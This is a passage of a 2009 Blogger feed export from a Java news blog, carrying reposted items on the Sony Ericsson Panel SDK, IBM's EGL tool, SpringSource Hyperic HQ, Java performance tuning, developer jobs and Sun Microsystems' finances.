software&lt;br /&gt;development kit which allows developers to be the first to create panels for the&lt;br /&gt;Windows Mobile 6.5 platform.&lt;br /&gt;&lt;br /&gt;Using the Panelizer, developers are able to maximise the investments they have&lt;br /&gt;already made creating compelling applications. In just a couple of clicks and&lt;br /&gt;with no separate tool purchase, the Panelizer gives developers a low-cost way to&lt;br /&gt;turn their content into the unique Sony Ericsson Panel experience. Panels are&lt;br /&gt;then just one touch away from the consumer`s home screen, allowing developers to&lt;br /&gt;truly shape the user`s mobile entertainment experience.&lt;br /&gt;&lt;br /&gt;Besides supporting Panels and native applications, the XPERIA X2 is also&lt;br /&gt;equipped with a Java Runtime that makes Java/Capuchin applications run as well&lt;br /&gt;integrated as native applications.&lt;br /&gt;&lt;br /&gt;Applications accepted as panels will be made available on Sony Ericsson`s market&lt;br /&gt;place, PlayNow arena, giving developers access to an even wider range of&lt;br /&gt;consumers using other Sony Ericsson handsets. Developers from around the world&lt;br /&gt;also benefit from the 70% net revenue share offered by PlayNow arena, which is&lt;br /&gt;available in 18 countries.&lt;br /&gt;&lt;br /&gt;"Putting developers` applications directly in front of consumers is a crucial&lt;br /&gt;focus for us," says Christopher David, Head of Developer and Partner Engagement&lt;br /&gt;at Sony Ericsson. "We created the Panel SDK to streamline the development&lt;br /&gt;process, minimising the time it takes to get applications directly to the&lt;br /&gt;consumer and providing developers with additional revenue opportunities."&lt;br /&gt;&lt;br /&gt;How it works&lt;br /&gt;&lt;br /&gt;Developers can submit their applications by following these simple steps:&lt;br /&gt;&lt;br /&gt;* Go to Sony Ericsson`s Developer World website&lt;br /&gt;http://developer.sonyericsson.com&lt;br /&gt;* Download the Panel SDK and follow the short Panel SDK tutorial&lt;br /&gt;* Go to http://submit.sonyericsson.com and upload `Panelized` applications&lt;br /&gt;* Within 30 days the submission approval process will be complete. Successful&lt;br /&gt;applications are automatically available for wider usage on PlayNow arena.&lt;br /&gt;&lt;br /&gt;Sony Ericsson is a top, global industry player with sales of around 97million&lt;br /&gt;phones in 2008.Diversity is one of the core strengths of the company, with&lt;br /&gt;operations in over 80 countries including manufacturing in China and R&amp;amp;D sites&lt;br /&gt;in China, Europe, India, Japan and North America.Sony Ericsson was established&lt;br /&gt;as a 50:50 joint venture by Sony and Ericsson in October 2001, with global&lt;br /&gt;corporate functions located in London.&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3491484289991340511-1963298747722444870?l=java-center.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://java-center.blogspot.com/feeds/1963298747722444870/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3491484289991340511&amp;postID=1963298747722444870' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/1963298747722444870'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/1963298747722444870'/><link rel='alternate' type='text/html' href='http://java-center.blogspot.com/2009/09/sony-ericsson-puts-developers-at-centre.html' title='Sony Ericsson Puts Developers at the Centre of User Experience with XPERIA X2'/><author><name>IT Manager</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://3.bp.blogspot.com/_6oPuqq2c5Gw/Sa1_er1JSBI/AAAAAAAAAHQ/LZwtdMPm8zc/S220/FIREFOXCASE.bmp'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3491484289991340511.post-8069073471454998440</id><published>2009-09-10T18:28:00.000-07:00</published><updated>2009-09-10T18:30:00.035-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Java programming tools'/><title type='text'>IBM tool eases JavaScript development</title><content type='html'>&lt;h2&gt;The Eclipse-based technology features EGL modeling language to help developers build Web 2.0 apps&lt;/h2&gt;&lt;br /&gt;&lt;p&gt;Countering rivals Microsoft and Adobe Systems, IBM is offering a free tool to simplify development of JavaScript-based Web applications, featuring use of a modeling language, according to IBM sources.&lt;/p&gt; &lt;p&gt;Big Blue's EGL CE  (Enterprise Generation Language Community Edition), released Tuesday, is an Eclipse-based tool geared to building Web 2.0 applications. It leverages IBM's EGL modeling language. Developers who code in PHP, Ruby on Rails, Groovy, JavaScript, and HTML can use the EGL tool to code, test, and debug Web 2.0 applications using one language.&lt;/p&gt; &lt;p&gt;&lt;strong&gt;[ Microsoft also is &lt;a href="http://www.infoworld.com/d/developer-world/microsoft-tool-boosts-ajax-web-page-response-636?source=fssr"&gt;offering a new tool, called Doloto, to boost JavaScript-based applications&lt;/a&gt;. ]&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;EGL does not try to replace HTML or JavaScript, unlike Adobe Flash/Flex or Microsoft Silverlight technologies, said Will Smythe, EGL product line manager at IBM, in a slide presentation posted on &lt;a href="http://www-949.ibm.com/software/rational/cafe/servlet/JiveServlet/previewBody/3249-102-1-6559/EGL%20CE%20Quick%20Overview%20v2.pdf" target="_blank"&gt;the EGL Web page (PDF)&lt;/a&gt;.&lt;/p&gt; &lt;p&gt;"EGL is a higher-level programming language designed for developing powerful, modern applications," Smythe said. "The goal is to shield developers from complexities typically associated with Web 2.0 application development."&lt;/p&gt; &lt;p&gt;"EGL CE is intended for anyone who wants to develop RIAs (rich Internet applications) quickly and efficiently. Since EGL syntax is easy for people to learn and can integrate across different business tiers, people from all development backgrounds (Java, PHP, Cobol, etc) find they are very productive using EGL," said Smythe.&lt;/p&gt; &lt;p&gt;EGL CE enables development of JavaScript-based user interfaces without having to write JavaScript. It also can be used to build Java-based Web services without the need to write Java code. Developers can build complex Web applications without coding in multiple different languages and patching pieces together for the end product, according to a statement from an IBM representative, and can spend less time deploying and more time coding.&lt;/p&gt; &lt;p&gt;Developers can download EGL CE at &lt;a href="http://www-949.ibm.com/software/rational/cafe/community/egl/ce" target="_blank"&gt;IBM's Web page&lt;/a&gt;.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3491484289991340511-8069073471454998440?l=java-center.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://java-center.blogspot.com/feeds/8069073471454998440/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3491484289991340511&amp;postID=8069073471454998440' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/8069073471454998440'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/8069073471454998440'/><link rel='alternate' type='text/html' href='http://java-center.blogspot.com/2009/09/ibm-tool-eases-javascript-development.html' title='IBM tool eases JavaScript development'/><author><name>IT Manager</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://3.bp.blogspot.com/_6oPuqq2c5Gw/Sa1_er1JSBI/AAAAAAAAAHQ/LZwtdMPm8zc/S220/FIREFOXCASE.bmp'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3491484289991340511.post-548966980322528140</id><published>2009-09-10T18:26:00.000-07:00</published><updated>2009-09-10T18:28:34.376-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Java programming tools'/><title type='text'>CORRECTING and REPLACINGiCIMS Adopts SpringSource Hyperic HQ to Manage and Monitor Infrastructure Powering 3,000 Customer Websites</title><content type='html'>&lt;pre&gt;Leading Web-based Business Solutions Provider Uses SpringSource Hyperic HQ to&lt;br /&gt;Ensure Application Uptime and Maximize IT Resources&lt;br /&gt;SAN MATEO, Calif.--(Business Wire)--&lt;br /&gt;Third graph, first sentence of release should read: Before implementing Hyperic&lt;br /&gt;HQ, iCIMS tried both Big Brother and Zenoss. (sted Before implementing Hyperic&lt;br /&gt;HQ, iCIMS tried both Big Brother and Zenoss, but...)&lt;br /&gt;&lt;br /&gt;The corrected release reads:&lt;br /&gt;&lt;br /&gt;ICIMS ADOPTS SPRINGSOURCE HYPERIC HQ TO MANAGE AND MONITOR INFRASTRUCTURE&lt;br /&gt;POWERING 3,000 CUSTOMER WEBSITES&lt;br /&gt;&lt;br /&gt;Leading Web-based Business Solutions Provider Uses SpringSource Hyperic HQ to&lt;br /&gt;Ensure Application Uptime and Maximize IT Resources&lt;br /&gt;&lt;br /&gt;SpringSource, the leader in Java application infrastructure and management,&lt;br /&gt;today announced that iCIMS, the third-largest provider of Software-as-a-Service&lt;br /&gt;(SaaS) talent acquisition solutions, has deployed SpringSource Hyperic HQ, a key&lt;br /&gt;part of SpringSource`s full solution set, which covers the entire build, run,&lt;br /&gt;manage lifecycle for Java application development. SpringSource Hyperic HQ&lt;br /&gt;monitors a variety of application performance metrics for iCIMS` 180 Apache&lt;br /&gt;Tomcat servers that power 3,000 customer websites, enabling rapid remediation of&lt;br /&gt;issues and providing data to help create new performance enhancements within&lt;br /&gt;iCIMS` offerings.&lt;br /&gt;&lt;br /&gt;iCIMS provides recruitment and HR software to more than 750 customers around the&lt;br /&gt;world, including FedEx, Continental Airlines, Whole Foods, Amazon.com and&lt;br /&gt;Hershey. Hyperic HQ greatly enhances iCIMS` product line by maximizing uptime&lt;br /&gt;for customers. Through a Hyperic HQ-powered graphical user interface, iCIMS`&lt;br /&gt;executive team can monitor customer site performance and availability.&lt;br /&gt;&lt;br /&gt;Before implementing Hyperic HQ, iCIMS tried both Big Brother and Zenoss. With&lt;br /&gt;Big Brother, if a customer website encountered difficulties, iCIMS had to&lt;br /&gt;conduct a lengthy investigation to determine the root cause. iCIMS also&lt;br /&gt;attempted to use the Zenoss monitoring tool but found it unable to scale to meet&lt;br /&gt;its high growth. With Hyperic HQ, iCIMS has access to a wide range of&lt;br /&gt;performance data including website availability, response times, website "hits"&lt;br /&gt;and Tomcat statistics.&lt;br /&gt;&lt;br /&gt;"We looked at many different potential solutions, both open source and&lt;br /&gt;commercial, and Hyperic HQ was the only one able to fulfill our requirements in&lt;br /&gt;terms of the metrics we needed to collect for the number of servers and websites&lt;br /&gt;being monitored," said Paul Melici, director of technology, iCIMS. "Hyperic&lt;br /&gt;helps us deliver exceptional customer service in a streamlined and efficient&lt;br /&gt;way. Without Hyperic, we would have to double or triple the size of our team&lt;br /&gt;just to handle routine monitoring tasks."&lt;br /&gt;&lt;br /&gt;SpringSource Hyperic HQ offers the most complete solution and experience for&lt;br /&gt;managing and monitoring large scale web infrastructure and mission-critical&lt;br /&gt;applications. The solution delivers the following business benefits to iCIMS:&lt;br /&gt;&lt;br /&gt;* Faster Problem Solving and Increased Productivity - Hyperic HQ alerts the&lt;br /&gt;iCIMS production IT team to performance slowdowns in real time, eliminating the&lt;br /&gt;need for manual spot checks. Hyperic HQ provides comprehensive information that&lt;br /&gt;quickly pinpoints concerns to production teams and allows them to zero in on the&lt;br /&gt;problem and the solution.&lt;br /&gt;* Reduced Cost of Resources - Hyperic HQ`s automation capabilities enables iCIMS&lt;br /&gt;to focus its IT team, therefore reducing costs to customers.&lt;br /&gt;* Improved Application Quality - The research and development team within iCIMS&lt;br /&gt;analyzes data from Hyperic HQ as it develops performance enhancements for future&lt;br /&gt;software releases.&lt;br /&gt;* Greater Scalability - Hyperic HQ has allowed iCIMS to scale monitoring&lt;br /&gt;services for its growing customers and increasing customer base.&lt;br /&gt;&lt;br /&gt;"Hyperic HQ`s ability to manage and monitor software for web applications helps&lt;br /&gt;businesses reduce production issues, which is crucial for client service and&lt;br /&gt;retention," said Javier Soltero, CTO of management products, SpringSource. "Data&lt;br /&gt;gathered can be used across all levels, from CEO and CTO dashboards to the IT&lt;br /&gt;team. iCIMS` internal team`s use of our solution is a model of how consistently&lt;br /&gt;delivered performance data can assist with maximizing customer satisfaction."&lt;br /&gt;&lt;br /&gt;About SpringSource&lt;br /&gt;&lt;br /&gt;SpringSource, the leader in Java application infrastructure and management,&lt;br /&gt;provides a complete suite of software products that accelerate the entire build,&lt;br /&gt;run, manage enterprise Java application lifecycle. SpringSource employs the open&lt;br /&gt;source leaders who created and drive innovation for Spring, the de facto&lt;br /&gt;standard programming model for enterprise Java applications. SpringSource also&lt;br /&gt;employs the Java and Web thought leaders within the Apache Tomcat, Apache HTTP&lt;br /&gt;Server, Hyperic, Groovy and Grails open source communities. Nearly half of the&lt;br /&gt;Global 2000, including many world`s leading retail, financial services,&lt;br /&gt;manufacturing, healthcare, technology and public sector clients are SpringSource&lt;br /&gt;customers.&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3491484289991340511-548966980322528140?l=java-center.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://java-center.blogspot.com/feeds/548966980322528140/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3491484289991340511&amp;postID=548966980322528140' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/548966980322528140'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/548966980322528140'/><link rel='alternate' type='text/html' href='http://java-center.blogspot.com/2009/09/correcting-and-replacingicims-adopts.html' title='CORRECTING and REPLACINGiCIMS Adopts SpringSource Hyperic HQ to Manage and Monitor Infrastructure Powering 3,000 Customer Websites'/><author><name>IT Manager</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://3.bp.blogspot.com/_6oPuqq2c5Gw/Sa1_er1JSBI/AAAAAAAAAHQ/LZwtdMPm8zc/S220/FIREFOXCASE.bmp'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3491484289991340511.post-1720956691795337709</id><published>2009-09-10T18:20:00.000-07:00</published><updated>2009-09-10T18:26:40.848-07:00</updated><title type='text'>Performance Tuning Essentials for Java</title><content type='html'>&lt;p&gt;In light of today's compressed development cycles, multi-tiered application architectures and complex technologies, many organizations are challenged to get reliable yet scalable enterprise Java applications out the door in a timely manner. Devoting a small amount of energy throughout the development process to identify, address, and correct performance obstacles can lower the risks and costs associated with poorly performing applications over the life of the code.&lt;/p&gt; &lt;p&gt;Java performance tuning simply means optimizing your code for speed, reliability, scalability and maintainability. Producing truly scalable, lightning-fast Java SE and Java EE applications demands clarity of purpose and well-understood programming priorities. A major benefit of &lt;img style="border: 0pt none ; margin: 12px; float: left;" src="http://res.sys-con.com/story/sep09/1100244/Performance_Tuning_226.jpg" width="226" height="127" /&gt;adopting regular performance tuning cycles is instantly seeing exactly which parts of your applications represent critical bottlenecks and which are behaving efficiently.&lt;/p&gt; &lt;p&gt;&lt;b&gt;Performance Tuning: A Development Best Practice&lt;/b&gt;&lt;br /&gt;A major strength of Java is its platform-independent byte-code approach and automatic handling of garbage collection. Unlike with C/C++, developers are able to focus on an application's business requirements, and are largely free from platform considerations.&lt;/p&gt; &lt;p&gt;Experienced developers, however, do not focus exclusively on application functionality. The reality is that below this level of abstraction, hard limitations of memory and processing power exist, as do the patterns and constraints of garbage collection, thread scheduling, and a host of other considerations managed by the Java Virtual Machine (JVM) and the underlying operating system.&lt;/p&gt; &lt;p&gt;Successful developers - and productive development processes - incorporate regular use of performance analysis from the earliest stage of code creation throughout the development process, into QA testing, and beyond. Frequent, frontline checking and testing of small modules of code by the principal author is often the best way to assure that the Java applications produced will be fast, reliable, and scalable.&lt;/p&gt; &lt;p&gt;&lt;b&gt;Seeing the Big Picture Means Digging Deep&lt;/b&gt;&lt;br /&gt;The latest generation of Java application servers brings increased memory capacity and processing power to the party. However, even with this and the common practice of throwing more hardware at the problem can you ever really overcome truly flawed code? A single buggy line ripples forward and can cause application-wide bottlenecks or can mysteriously trigger disastrous crashes once an application is in production.&lt;/p&gt;&lt;p&gt;The developer's tall challenge is to determine which part of a Java SE or Java EE application is causing a performance bottleneck or memory issue. The strength of Java and its various platforms is the high level of abstraction, re-use of objects, and insulation from layers of processing and system dependencies. But while encapsulation is great for shielding you from vast lower-level complexities, it also leaves few clues about where to focus your performance attention.&lt;/p&gt; &lt;p&gt;Tools are needed that extend your intuition and let you effortlessly see and understand how your Java application behaves when running. With the advent of highly abstracted, object-oriented languages such as Java, Stanford Computer Science Emeritus Professor Donald Knuth raised the concern that programmers are in danger of losing touch with the factors determining whether their code will run and scale well saying, "At first you try to ignore the details of what's happening at the lower levels. But when you're debugging, you can't afford to be too compartmentalized. You can't afford to only see things at the highest level of abstraction."&lt;/p&gt; &lt;p&gt;&lt;b&gt;Performance Tools Allow You to Be Smart and Efficient About Optimizing&lt;/b&gt;&lt;br /&gt;Knuth advises that developers need insight about what's going on below the surface if their code is to be scalable, reliable, and fast.&lt;/p&gt; &lt;p&gt;A fundamental question is: "What are the priority performance issues for this module or application?" Tools specifically designed for Java performance tuning offer an ideal way to answer this question - and be assured that your code improvements are informed and efficient. Without tools to help prioritize key Java trouble areas, you are likely to spend a lot of time micro-optimizing unimportant sections at the expense of the crucial optimization issues that actually drive your application's overall performance.&lt;/p&gt; &lt;p&gt;The goal ought to be for each member of the development team to be equipped with the tools to be &lt;i&gt;smart &lt;/i&gt;about performance tuning each step of the way. Smart performance tuning will take place in the context of an application's overall business requirements. Some tiny performance issues simply may not warrant improvement efforts. Other important optimizing trade-offs will arise only when components are brought together, at which point an understanding of the overall architecture will guide modifications.&lt;/p&gt; &lt;p&gt;Tuning your code for speed and performance iteratively, as you develop and bring modules of code together, is the best way to minimize frantic troubleshooting sessions at the end of a project - or worse, in production, where even small problems are transformed into costly, complex challenges. The tuned applications delivered to QA and to customers will instead be lightweight, stable, scalable, and screamingly fast.&lt;/p&gt; &lt;p&gt;&lt;b&gt;Conclusion: Performance Tuning Is Crucial for Java&lt;/b&gt;&lt;br /&gt;Conceiving, designing, and testing your approach against performance goals &lt;i&gt;as you build &lt;/i&gt;means more than just avoiding underperforming applications or even crashes. By being appropriately alert to how your code performs throughout the development process, you avoid expensive, disruptive late-stage fixes. Fast, scalable, high-performance code is a design imperative from the beginning. It is also a serious, regularly exercised element of the development process for each front-line developer (not a specialized skill for an isolated performance team).&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3491484289991340511-1720956691795337709?l=java-center.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://java-center.blogspot.com/feeds/1720956691795337709/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3491484289991340511&amp;postID=1720956691795337709' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/1720956691795337709'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/1720956691795337709'/><link rel='alternate' type='text/html' href='http://java-center.blogspot.com/2009/09/performance-tuning-essentials-for-java.html' title='Performance Tuning Essentials for Java'/><author><name>IT Manager</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://3.bp.blogspot.com/_6oPuqq2c5Gw/Sa1_er1JSBI/AAAAAAAAAHQ/LZwtdMPm8zc/S220/FIREFOXCASE.bmp'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3491484289991340511.post-6405156083789137097</id><published>2009-09-10T18:19:00.000-07:00</published><updated>2009-09-10T18:20:33.632-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Java news'/><title type='text'>GyPSii Offers Java Version of Social Networking Client</title><content type='html'>&lt;div class="articleBodyContent"&gt; &lt;p&gt;Mobile social-networking site GyPSii is making its client available for Java-based mobile phones, a move that increases the number of devices that can run the application by more than a hundred, the company said on Tuesday.&lt;/p&gt;&lt;p&gt;Owners of mobile phones such as the Nokia 6300 and the C905 from Sony Ericsson will now be able to connect to the location-centric mobile social network, which, for example, lets users find nearby places that friends and others have tagged. &lt;/p&gt;&lt;p&gt;The user experience will be comparable to what users on high-end smartphones are currently getting, GyPSii said.&lt;/p&gt;&lt;p&gt;As the smartphone market has taken off, application development for simpler devices that use proprietary operating systems but support Java has taken a back seat, said Paolo Pescatore, analyst at CCS Insight. But for a social network like GyPSii it's important to be on as many devices as possible, he said.&lt;/p&gt;&lt;p&gt;GyPSii is already available for Apple's iPhone, BlackBerry handsets and phones based on Windows Mobile and the Symbian OS. In the next few weeks, GyPSii also plans to announce support for Google's Android platform, according to a spokesman. It's also preloaded on a range of handsets from Samsung, LG and Garmin.&lt;/p&gt;&lt;p&gt;GyPSii's big challenge will be to compete with the bigger social networks, especially Facebook, according to Pescatore. Last week Facebook announced it had more than 65 million mobile users, and Nokia announced a partnership with the company to make location a part of users' status updates.&lt;/p&gt;&lt;p&gt;"It has come to the point where the average consumer on the high-street has started asking for a Facebook phone," said Pescatore.&lt;/p&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3491484289991340511-6405156083789137097?l=java-center.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://java-center.blogspot.com/feeds/6405156083789137097/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3491484289991340511&amp;postID=6405156083789137097' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/6405156083789137097'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/6405156083789137097'/><link rel='alternate' type='text/html' href='http://java-center.blogspot.com/2009/09/gypsii-offers-java-version-of-social.html' title='GyPSii Offers Java Version of Social Networking Client'/><author><name>IT Manager</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://3.bp.blogspot.com/_6oPuqq2c5Gw/Sa1_er1JSBI/AAAAAAAAAHQ/LZwtdMPm8zc/S220/FIREFOXCASE.bmp'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3491484289991340511.post-6611174278084464810</id><published>2009-09-10T18:17:00.000-07:00</published><updated>2009-09-10T18:19:33.352-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Java news'/><title type='text'>Hot Jobs: Java Developer</title><content type='html'>Java Developer  &lt;p&gt;job description: The Java programming language was originally developed at Sun Microsystems and has since become one of the world's most pervasive software technologies. Java programmers develop a wide range of applications, both on the server side and facing end-users through desktops, Web browsers and mobile phones.&lt;/p&gt; &lt;p&gt;why you need one: Java's popularity means it lies under the covers of a wide range of enterprise applications and systems. Therefore, skilled Java developers have remained among the industry's hottest properties through the recession, says David Van De Voort, senior principal of IT workforce strategy at the consulting company Mercer. Only SAP and Oracle specialists are in greater demand.&lt;/p&gt; &lt;p&gt;&lt;a href="http://www.cio.com/article/101314/The_Hottest_Jobs_In_Information_Technology"&gt;Check out more hot jobs here&lt;/a&gt;.&lt;/p&gt; &lt;p&gt;desired skills: The problem with Java is the breadth of applications it is used for and the corresponding wealth of tool and platform choices. This can make it challenging to find developers with just the right skills to fit your company. You may have to pay a premium for someone with the skills that best match the position you're filling.&lt;/p&gt; &lt;p&gt;Overall, however, one of the most important traits in any Java developer is "full knowledge and confidence" with the software development life cycle, from gathering initial project requirements to programming, testing and maintenance, says Tom Hart, executive vice president, operations and technology group, with outsourcer Veritude.&lt;/p&gt; &lt;p&gt;how to find one: Traditional recruiting efforts such as job postings tend to work, but another key tool is employee referrals, Van De Voort says. Hart agrees. "Getting a good Java programmer to recommend a friend is vital," he adds. Veritude is also mining social networking sites to find candidates.&lt;/p&gt; &lt;p&gt;what to look for: Like other types of programmers, a Java developer's role "has evolved over the years from a very technical person to someone who also needs a fair amount of business acumen," Van De Voort says.&lt;/p&gt; &lt;p&gt;Given Java's prevalence in outward-facing Web and mobile applications, as well as on back-end servers, the work that Java developers do "tends to be closer to the customer," he continues. "You do need to demonstrate an understanding of the customer interface and work closely with internal clients on understanding exactly what the application needs to do."&lt;/p&gt; &lt;p&gt;elimination round: There's "nothing very shocking" about the sort of techniques you should use to make a final hiring decision, according to Van De Voort. "The thing that counts is how closely [your qualifications] meet what I need you to do. These days, employers are really interested in bringing on people who will come up to speed very quickly," he says.&lt;/p&gt; &lt;p&gt;salary range: $60,000 to $140,000&lt;/p&gt;&lt;p&gt;growing your own: There is no question that Java developers can be trained in-house, in Van De Voort's view. "IT professionals who have been working in other environments, platforms or languages can pick up Java and do it fairly quickly. I see that happening fairly often," he says. Hart says that companies can also grab newly-graduated computer science majors and "start training the heck out of them." &lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3491484289991340511-6611174278084464810?l=java-center.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://java-center.blogspot.com/feeds/6611174278084464810/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3491484289991340511&amp;postID=6611174278084464810' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/6611174278084464810'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/6611174278084464810'/><link rel='alternate' type='text/html' href='http://java-center.blogspot.com/2009/09/hot-jobs-java-developer.html' title='Hot Jobs: Java Developer'/><author><name>IT Manager</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://3.bp.blogspot.com/_6oPuqq2c5Gw/Sa1_er1JSBI/AAAAAAAAAHQ/LZwtdMPm8zc/S220/FIREFOXCASE.bmp'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3491484289991340511.post-6964851596252132688</id><published>2009-09-10T18:13:00.000-07:00</published><updated>2009-09-10T18:17:06.021-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Java news'/><title type='text'>Sun Microsystems reports $147 million quarter loss news</title><content type='html'>&lt;p&gt;Sun Microsystems, probably reporting its last quarterly report as an independent company, reported a $147 million loss in the fiscal fourth quarter as its planned acquisition by Software giant Oracle Corporation nears to a close. &lt;strong&gt;(See: &lt;a href="http://www.domain-b.com/companies/companies_s/Sun/20090420_oracle_trumps.html"&gt;Oracle trumps IBM, acquires Sun Microsystems for $7.4 billion&lt;/a&gt;)&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;Sun posted a net loss of $147 million, or 20 cents a share, in the fourth quarter ended 30 June compared with a profit of $88 million, or 11 cents per share, in the year-ago period.&lt;/p&gt; &lt;p&gt;Sales for the period fell by 31 per cent to $2.63 billion from $3.78 billion last year and revenue from server sales fell 36 per cent over last year to $1.1 billion. Revenue from support services fell 15 per cent to $886 million.&lt;/p&gt; &lt;p&gt;Last month, Sun had projected a loss of six cents to 16 cents a share, excluding items, on revenue of $2.58 billion to $2.68 billion.&lt;/p&gt;For the full fiscal year, Santa Clara, California-based Sun lost $2.23 billion, compared to a $403 million profit last year. &lt;p&gt;Despite billions in sales - $13.3 billion over the last four quarters, the company has not been able to turn a consistent profit, losing $1.9 billion in the same period.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3491484289991340511-6964851596252132688?l=java-center.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://java-center.blogspot.com/feeds/6964851596252132688/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3491484289991340511&amp;postID=6964851596252132688' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/6964851596252132688'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3491484289991340511/posts/default/6964851596252132688'/><link rel='alternate' type='text/html' href='http://java-center.blogspot.com/2009/09/sun-microsystems-reports-147-million.html' title='Sun Microsystems reports $147 million quarter loss news'/><author><name>IT Manager</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='31' height='32' src='http://3.bp.blogspot.com/_6oPuqq2c5Gw/Sa1_er1JSBI/AAAAAAAAAHQ/LZwtdMPm8zc/S220/FIREFOXCASE.bmp'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3491484289991340511.post-6211664757933082557</id><published>2009-09-09T16:42:00.000-07:00</published><updated>2009-09-09T16:45:26.762-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Java news'/><title type='text'>Sun Tinkers with MySQL</title><content type='html'>&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://res.sys-con.com/story/sep09/1099850/Information_226.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 226px; height: 127px;" src="http://res.sys-con.com/story/sep09/1099850/Information_226.jpg" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;p&gt;&lt;img src="file:///C:/DOCUME%7E1/ISLAMF%7E1/LOCALS%7E1/Temp/moz-screenshot.jpg" alt="" /&gt;Sun said Wednesday that it's got an update to its MySQL Enterprise subscription called MySQL Enterprise Fall 2009 that will let DBAs graphically drill down into database bottlenecks to improve application performance.&lt;/p&gt; &lt;p&gt;The widgetry can be had for the moment on a free 30-day trial subscription.&lt;/p&gt; &lt;p&gt;Sometime in the next month it'll go commercial.&lt;/p&gt; &lt;p&gt;MySQL Enterprise pricing ranges from $599 to $4,999 